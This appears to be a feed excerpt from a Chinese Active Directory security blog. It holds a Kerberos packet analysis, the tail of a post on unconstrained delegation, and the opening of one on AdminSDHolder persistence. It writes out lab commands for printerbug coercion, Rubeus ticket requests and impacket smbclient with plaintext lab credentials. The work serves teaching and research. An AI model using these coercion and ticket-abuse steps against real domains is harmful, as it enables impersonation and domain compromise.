&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;你可以直接在windows上运行这个脚本，禁用445端口的方法参考&lt;a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/122797767"&gt;这里&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后使用&lt;code&gt;printerbug&lt;/code&gt;触发目标服务器回连&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printerbug&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MOTHER&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FUCKER&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ohyeah&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;qwe123...&amp;quot;&lt;/span&gt;&lt;span class="mf"&gt;@192.168.216.133&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;whatthefuck&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mother&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fucker&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;wireshark使用&lt;code&gt;tcp.port==445&lt;/code&gt;过滤条件抓包&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220206013740063" src="https://s2.loli.net/2024/06/14/KYCNHkVwGQxih7o.png"&gt;&lt;/p&gt;
&lt;p&gt;和之前的一样，krb数据包封装在SPNEGO数据包中&lt;/p&gt;
&lt;p&gt;ticket为目标服务器先前缓存的&lt;code&gt;cifs/whatthefuck.mother.fucker&lt;/code&gt;票据&lt;/p&gt;
&lt;p&gt;这个票据是目标服务器在向我们的恶意服务器发起请求之前向KDC申请的，因此我们这里的wireshark抓包是看不到这一过程的&lt;/p&gt;
&lt;p&gt;不过并不影响我们分析非约束委派攻击过程中的数据包&lt;/p&gt;
&lt;p&gt;在本例中，恶意服务器能够解密目标服务器发送过来的ticket（由我们控制的账户hash加密），从而获取到用于解密authenticator字段的&lt;code&gt;session key&lt;/code&gt;（&lt;code&gt;c-s-skey&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;获取到&lt;code&gt;c-s-skey&lt;/code&gt;之后，解密authenticator字段&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220206020037601" src="https://s2.loli.net/2024/06/14/LW5bzFr1V6th4EM.png"&gt;&lt;/p&gt;
&lt;p&gt;我们中点关注&lt;code&gt;cksum&lt;/code&gt;字段&lt;/p&gt;
&lt;p&gt;根据&lt;a href="https://datatracker.ietf.org/doc/html/rfc4121#section-4.1.1"&gt;RFC 4121&lt;/a&gt;中&lt;code&gt;4.1.1. Authenticator Checksum&lt;/code&gt;章节中的描述&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cksum&lt;/code&gt;结构如下&lt;/p&gt;
&lt;p&gt;&lt;img alt="1641276753342" src="https://s2.loli.net/2024/06/14/s1GVWYNDPyeLpwI.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到flags字段中&lt;code&gt;Deleg&lt;/code&gt;标志位是启用的，表明需要将凭据信息委派给远程主机&lt;/p&gt;
&lt;p&gt;在启用了委派的情况下，TGT票据需要封装在&lt;code&gt;KRB_CRED&lt;/code&gt;消息中&lt;/p&gt;
&lt;p&gt;&lt;a href="https://datatracker.ietf.org/doc/html/rfc4120#section-3.6"&gt;KRB_CRED&lt;/a&gt;消息是专门设计用来发送Kerberos凭据信息的，它里面封装的是票据以及加密的&lt;code&gt;session key&lt;/code&gt;（&lt;code&gt;c-d-skey&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;下面是KRB_CRED消息以及解密后的enc-part字段&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220206020655812" src="https://s2.loli.net/2024/06/14/ucWSIRTnGliyFLe.png"&gt;&lt;/p&gt;
&lt;p&gt;从ticket字段中的sname字段也可以看出来该票据是TGT票据&lt;/p&gt;
&lt;p&gt;enc-part字段中包含&lt;code&gt;c-d-skey&lt;/code&gt;，就是&lt;code&gt;KrbCredInfo&lt;/code&gt;中的key字段&lt;/p&gt;
&lt;p&gt;现在我们既拥有了&lt;code&gt;WIN-37U50GQO8KT$&lt;/code&gt;账户的TGT票据，又拥有&lt;code&gt;c-d-skey&lt;/code&gt;，就可以冒充该用户申请任意服务票据了&lt;/p&gt;
&lt;h1&gt;0x4 结语&lt;/h1&gt;
&lt;p&gt;有时候很多看起来想当然的问题，如果你深究一下，就会发掘出更多隐藏的细节&lt;/p&gt;
&lt;p&gt;上面说了那么多，无非就是想说单独一个Kerberos票据并没有太大的作用（除了用来爆破——Kerberoasting）&lt;/p&gt;
&lt;p&gt;只有有了对应的&lt;code&gt;session key&lt;/code&gt;才能真正地将票据利用起来&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>Kerberos协议分析</title><link href="kerberosxie-yi-fen-xi.html" rel="alternate"></link><published>2022-02-05T00:00:00+01:00</published><updated>2022-02-05T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2022-02-05:kerberosxie-yi-fen-xi.html</id><summary type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://syfuhs.net/a-bit-about-kerberos"&gt;https://syfuhs.net/a-bit-about-kerberos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;0x1 前言&lt;/h1&gt;
&lt;p&gt;Kerberos本意为希腊神话中看守冥界之门的拥有三只头的恶犬，如下：&lt;/p&gt;
&lt;p&gt;noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga&lt;img alt="1640774470076" src="https://s2.loli.net/2024/06/14/z1onxYmwcPphk53.png"&gt;&lt;/p&gt;
&lt;p&gt;Kerberos协议在Windows AD安全领域中占据着举足轻重的地位，因此对Kerberos协议有一个相对透彻的理解还是很有必要的&lt;/p&gt;
&lt;p&gt;这篇文章会通过Wireshark对Windows AD中Kerberos的一般通信过程进行详细的分析&lt;/p&gt;
&lt;h1&gt;0x2 概述&lt;/h1&gt;
&lt;p&gt;约定：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key &lt;/li&gt;
&lt;li&gt;c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;0x2.1 AS阶段&lt;/h2&gt;
&lt;p&gt;AS意为Authentication Service（认证服 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://syfuhs.net/a-bit-about-kerberos"&gt;https://syfuhs.net/a-bit-about-kerberos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;0x1 前言&lt;/h1&gt;
&lt;p&gt;Kerberos本意为希腊神话中看守冥界之门的拥有三只头的恶犬，如下：&lt;/p&gt;
&lt;p&gt;noborderfuckbiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga&lt;img alt="1640774470076" src="https://s2.loli.net/2024/06/14/z1onxYmwcPphk53.png"&gt;&lt;/p&gt;
&lt;p&gt;Kerberos协议在Windows AD安全领域中占据着举足轻重的地位，因此对Kerberos协议有一个相对透彻的理解还是很有必要的&lt;/p&gt;
&lt;p&gt;这篇文章会通过Wireshark对Windows AD中Kerberos的一般通信过程进行详细的分析&lt;/p&gt;
&lt;h1&gt;0x2 概述&lt;/h1&gt;
&lt;p&gt;约定：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c-d-skey表示client与dc（kdc）TGS阶段用于加密通信的session key &lt;/li&gt;
&lt;li&gt;c-s-skey表示client与应用服务器（Application Server）在AP阶段用于加密通信的session key&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;0x2.1 AS阶段&lt;/h2&gt;
&lt;p&gt;AS意为Authentication Service（认证服务）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;client向kdc发送AS-REQ（不包含pre-auth） &lt;/li&gt;
&lt;li&gt;kdc返回KRB-ERR，要求客户端发送pre-auth &lt;/li&gt;
&lt;li&gt;client向kdc发送包含pre-auth（使用client密码hash加密的时间戳）的AS-REQ &lt;/li&gt;
&lt;li&gt;kdc验证用户身份（解密时间戳，验证时间是否为最近的时间）&lt;/li&gt;
&lt;li&gt;kdc向client返回AS-REP，其中包含tgt票据以及session key（c-d-skey）&lt;/li&gt;
&lt;li&gt;tgt票据加密部分使用krbtgt账户hash进行加密，enc-part字段使用client密码hash进行加密，其中包含有c-d-skey&lt;/li&gt;
&lt;li&gt;client使用自己的密码hash解密enc-part获得c-d-skey，然后将c-d-skey和tgt票据缓存起来，以备后用&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;0x2.2 TGS阶段&lt;/h2&gt;
&lt;p&gt;TGS意为Ticket Grant Service（票据颁发服务） &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;client使用c-d-skey生成加密的authentictor字段并和tgt一起提交给KDC，该数据包为TGS-REQ，其中req-body字段中包含目标服务的spn&lt;/li&gt;
&lt;li&gt;kdc解密tgt，获取c-d-skey，使用c-d-skey解密authenticator，验证client身份&lt;/li&gt;
&lt;li&gt;根据client的请求颁发相应的服务票据，生成TGS-REP数据包返回给client &lt;/li&gt;
&lt;li&gt;TGS-REP中包含服务票据以及enc-part，enc-part由c-d-skey进行加密，里面包含c-s-skey，票据的enc-part使用应用服务器的服务账户hash进行加密 &lt;/li&gt;
&lt;li&gt;client解密TGS-REP后将服务票据和c-s-skey缓存起来，以备后用&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;0x2.3 AP阶段&lt;/h2&gt;
&lt;p&gt;AP意为Application Service（应用服务） &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;client向目标服务器server发送AP-REQ数据包，其中包含服务票据以及一个用于验证自己身份的authenticator&lt;/li&gt;
&lt;li&gt;此authenticator字段使用c-s-skey进行加密 &lt;/li&gt;
&lt;li&gt;server收到AP-REQ之后，使用自己的服务账户hash解密票据，从中获得c-s-skey，使用c-s-skey解密authenticator从而验证客户端身份 &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;至此，kerberos完成，client和server开始加密通信&lt;/p&gt;
&lt;h1&gt;0x3 抓包分析&lt;/h1&gt;
&lt;p&gt;下面是具体的抓包分析，里面的字段可能和上面的概述有出入，但不影响理解Kerbero协议通信过程&lt;/p&gt;
&lt;p&gt;我们这里以&lt;code&gt;Rubeus&lt;/code&gt;和&lt;code&gt;smbclient.py&lt;/code&gt;为例，请求目标服务器的cifs服务，示例用户为&lt;code&gt;MOTHER.FUCKER\Administrator&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;首先生成&lt;code&gt;keytab&lt;/code&gt;文件，并应用到wireshark的KRB5协议中&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ktpass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keytab&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;princ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@MOTHER&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FUCKER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mapUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@MOTHER&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FUCKER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qwe123&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;crypto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ptype&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KRB5_NT_PRINCIPAL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20220205185741295" src="https://s2.loli.net/2024/06/14/JNSxqWhwrK8HOLP.png"&gt;&lt;/p&gt;
&lt;h2&gt;0x3.1 AS阶段&lt;/h2&gt;
&lt;p&gt;这里我们使用&lt;code&gt;Rubeus&lt;/code&gt;直接请求TGT票据&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Rubeus.exe&lt;span class="w"&gt; &lt;/span&gt;asktgt&lt;span class="w"&gt; &lt;/span&gt;/user:Administrator&lt;span class="w"&gt; &lt;/span&gt;/password:qwe123...&lt;span class="w"&gt; &lt;/span&gt;/domain:MOTHER.FUCKER&lt;span class="w"&gt; &lt;/span&gt;/dc:192.168.216.131&lt;span class="w"&gt;  &lt;/span&gt;/outfile:123.kirbi&lt;span class="w"&gt; &lt;/span&gt;/opsec&lt;span class="w"&gt; &lt;/span&gt;/force
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;0x3.1.1 AS-REQ (no pre-auth)&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20220205220120888" src="https://s2.loli.net/2024/06/14/jsKlSh3RABt9ymp.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，在这个AS-REQ数据包中，并没有提供任何认证相关的信息，只是提供了client支持的所有加密类型，用户名&lt;code&gt;MOTHER.FUCKER\Administrator&lt;/code&gt;以及client的地址信息（hostname）&lt;/p&gt;
&lt;h3&gt;0x3.1.2 KRB-ERROR&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20220205220426395" src="https://s2.loli.net/2024/06/14/goPqhm8CflNyOes.png"&gt;&lt;/p&gt;
&lt;p&gt;error-code字段显示错误类型为&lt;code&gt;eRR-PREAUTH-REQUIRED&lt;/code&gt;，即要求client提供&lt;code&gt;pre-auth&lt;/code&gt;数据&lt;/p&gt;
&lt;p&gt;在e-data字段中，第一个PA-DATA——PA-ENCTYPE-INFO2中，kdc提供了自己支持的加密类型&lt;/p&gt;
&lt;p&gt;分别是AES256和RC4，其中前者需要盐（&lt;code&gt;MOTHER.FUCKERAdministrator&lt;/code&gt;），普通账户的盐值计算方式和计算机账户的盐值计算方式有细微的差别&lt;/p&gt;
&lt;h3&gt;0x3.1.3 AS-REQ (with pre-auth)&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20220205222415704" src="https://s2.loli.net/2024/06/14/8RBJa2Ew1A75keD.png"&gt;&lt;/p&gt;
&lt;p&gt;client选定加密类型23（RC4），将当前时间戳加密封装到&lt;code&gt;PA-ENC-TIMESTAMP&lt;/code&gt;结构中&lt;/p&gt;
&lt;p&gt;在req-body中指定票据申请者（&lt;code&gt;MOTHER.FUCKER\Administrator&lt;/code&gt;）和要申请的票据（&lt;code&gt;krbtgt@MOTHER.FUCKER&lt;/code&gt;）&lt;/p&gt;
&lt;h3&gt;0x3.1.4 AS-REP&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20220205222842701" src="https://s2.loli.net/2024/06/14/Dkmh4yXQwL8I1Gv.png"&gt;&lt;/p&gt;
&lt;p&gt;ticket字段自不必说，就是TGT票据&lt;/p&gt;
&lt;p&gt;enc-part由client的密码哈希加密，解密后的内容中最重要的就是&lt;code&gt;key&lt;/code&gt;字段，也就是&lt;code&gt;c-d-skey&lt;/code&gt;，其中包含密钥类型和密钥值&lt;/p&gt;
&lt;p&gt;有了&lt;code&gt;c-d-skey&lt;/code&gt;之后，就能进行下一阶段的通信了&lt;/p&gt;
&lt;h2&gt;0x3.2 TGS阶段&lt;/h2&gt;
&lt;p&gt;使用Rubeus利用AS阶段获取到的TGT票据缓存请求CIFS服务票据&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Rubeus.exe&lt;span class="w"&gt; &lt;/span&gt;asktgs&lt;span class="w"&gt; &lt;/span&gt;/ticket:123.kirbi&lt;span class="w"&gt; &lt;/span&gt;/service:CIFS/WIN-37U50GQO8KT.MOTHER.FUCKER&lt;span class="w"&gt; &lt;/span&gt;/dc:192.168.216.131&lt;span class="w"&gt; &lt;/span&gt;/outfile:321.kirbi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;0x3.2.1 TGS-REQ&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20220205194150266" src="https://s2.loli.net/2024/06/14/7OdnQUIcoMqXasG.png"&gt;&lt;/p&gt;
&lt;p&gt;TGT票据以及认证数据authenticator都在padata字段中——PA-TGS-REQ&lt;/p&gt;
&lt;p&gt;TGT票据就是AS阶段返回的票据，原封不动放在这里&lt;/p&gt;
&lt;p&gt;authenticator字段为使用c-d-skey加密的数据，解密如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220205194406942" src="https://s2.loli.net/2024/06/14/f1r4UvJ6u8IXNsW.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到authenticator字段中包含了票据申请者&lt;code&gt;MOTHER.FUCKER\Administrator&lt;/code&gt;，这个必须要和TGT票据中的用户是一致的，不然会导致认证失败，同时也是为了防止冒充用户&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220205195035675" src="https://s2.loli.net/2024/06/14/xVFeO4iwylBrhTJ.png"&gt;&lt;/p&gt;
&lt;p&gt;req-body中主要的字段就是sname，指定了申请的票据的SPN&lt;code&gt;CIFS/WIN-37U50GQO8KT.MOTHER.FUCKER&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;0x3.2.2 TGS-REP&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20220205195227046" src="https://s2.loli.net/2024/06/14/v7Fau53hbVeYRKl.png"&gt;&lt;/p&gt;
&lt;p&gt;返回一个CIFS票据和enc-part&lt;/p&gt;
&lt;p&gt;enc-part字段由c-d-skey加密，解密后内容如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20220205195354709" src="https://s2.loli.net/2024/06/14/4qRiokSZW5JuIYx.png"&gt;&lt;/p&gt;
&lt;p&gt;最重要的字段依然是key（c-s-skey），有了这个key，就可以构造AP-REP数据包，向Server进行认证&lt;/p&gt;
&lt;h2&gt;0x3.3 AP阶段&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;smbclient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MOTHER&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FUCKER&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@WIN&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="n"&gt;U50GQO8KT&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MOTHER&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FUCKER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;192.168.216.131&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dc&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;192.168.216.131&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;对impacket的文件进行了修改，将&lt;code&gt;impacket\smbconnection.py&lt;/code&gt;的第&lt;code&gt;314&lt;/code&gt;行修改为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ccache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CCache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loadFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;C:\Users\x\1.ccache&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;其中&lt;code&gt;C:\Users\x\1.ccache&lt;/code&gt;是经过&lt;code&gt;ticketConvert.py&lt;/code&gt;转换过的&lt;code&gt;ccache&lt;/code&gt;格式的票据缓存&lt;/p&gt;
&lt;h3&gt;0x3.3.1 AP-REQ&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20220205202629036" src="https://s2.loli.net/2024/06/14/iSdI9yjgPahtB1l.png"&gt;&lt;/p&gt;
&lt;p&gt;这个数据包是在445端口捕获的，kerberos协议的ap-req被封装在SPNEGO数据包中&lt;/p&gt;
&lt;p&gt;你可以将SPNEGO理解为一个用于将应用协议和认证协议分离开来的一种协议&lt;/p&gt;
&lt;p&gt;在本例中，SPNEGO将smb协议和kerberos协议分离开来&lt;/p&gt;
&lt;p&gt;在ap-req中，ticket字段为TGS阶段获取的票据，原封不动放在这里&lt;/p&gt;
&lt;p&gt;authenticator中包含客户端身份信息，使用c-s-skey加密&lt;/p&gt;
&lt;h3&gt;0x3.3.2 AP-REP&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20220205203228979" src="https://s2.loli.net/2024/06/14/zbWk23HQGUeK6p5.png"&gt;&lt;/p&gt;
&lt;p&gt;在本例中，并不存在AP-REP数据包，只是在SPNEGO中返回了&lt;code&gt;accept-completed&lt;/code&gt;代码，表示smb会话建立成功&lt;/p&gt;
&lt;p&gt;在实际应用中，AP-REP只有在client在AP-REQ的authenticator字段提供了sub-key时候才会被返回，表明是否采用client提供的sub-key，或者向client返回自己选择的sub-key，用于后续的通信加密&lt;/p&gt;
&lt;h1&gt;0x4 结语&lt;/h1&gt;
&lt;p&gt;如果有不对的地方，希望能指出来，谢谢&lt;/p&gt;
&lt;p&gt;今天是大年初五——破五，你们都吃饺子了吗？&lt;/p&gt;</content><category term="内网安全"></category></entry><entry><title>AdminSDHolder</title><link href="adminsdholder.html" rel="alternate"></link><published>2021-10-21T00:00:00+02:00</published><updated>2021-10-21T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2021-10-21:adminsdholder.html</id><summary type="html">&lt;p&gt;references：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/"&gt;https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cbtgeeks.com/2016/06/02/what-is-rootdse/"&gt;https://cbtgeeks.com/2016/06/02/what-is-rootdse/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://adsecurity.org/?p=1906"&gt;https://adsecurity.org/?p=1906&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://technet.microsoft.com/en-us/magazine/2009.09.sdadminholder.aspx"&gt;https://technet.microsoft.com/en-us/magazine/2009.09.sdadminholder.aspx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN"&gt;https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/f9dbd527-5594-4d27-be4b-ec16d23136e6"&gt;https://docs.microsoft.com/en-us/openspecs/windows_protocols …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;references：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/"&gt;https://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cbtgeeks.com/2016/06/02/what-is-rootdse/"&gt;https://cbtgeeks.com/2016/06/02/what-is-rootdse/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://adsecurity.org/?p=1906"&gt;https://adsecurity.org/?p=1906&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://technet.microsoft.com/en-us/magazine/2009.09.sdadminholder.aspx"&gt;https://technet.microsoft.com/en-us/magazine/2009.09.sdadminholder.aspx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN"&gt;https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/f9dbd527-5594-4d27-be4b-ec16d23136e6"&gt;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/f9dbd527-5594-4d27-be4b-ec16d23136e6&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/ddc8da4a-6ac8-4193-b51c-205cebbf483b"&gt;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/ddc8da4a-6ac8-4193-b51c-205cebbf483b&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://itfordummies.net/2017/10/02/invoke-active-directory-sdprop-powershell/"&gt;https://itfordummies.net/2017/10/02/invoke-active-directory-sdprop-powershell/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;本文介绍一种Windows Active Directory持久化方式，这个手法很早以前就有了，在此记录一下&lt;/p&gt;
&lt;h1&gt;AdminSDHolder&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;AdminSDHolder&lt;/code&gt;是AD中的一个对象，它位于&lt;code&gt;cn=AdminSDHolder,cn=System,DC=domain,dc=name&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20211021215257762" src="https://s2.loli.net/2024/06/14/I5f6FPp42cGJZDy.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;该对象的作用是保证受保护对象的ACL不会被篡改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个所谓受保护的对象，是硬编码到二进制文件中的，也就是说，当你的AD域创建完成后，受保护的对象就确定下来了&lt;/p&gt;
&lt;p&gt;下面有一张表格描述了微软的各个版本的Server中默认的受保护对象（用户组和账户）&lt;/p&gt;
&lt;p&gt;&lt;img alt="1634882959755" src="https://s2.loli.net/2024/06/14/JiSMGx8PLfIXBc1.png"&gt;&lt;/p&gt;
&lt;p&gt;那么它是如何保护这些对象的ACL不被篡改呢？&lt;/p&gt;
&lt;h2&gt;SD Propagation（安全描述符传播）&lt;/h2&gt;
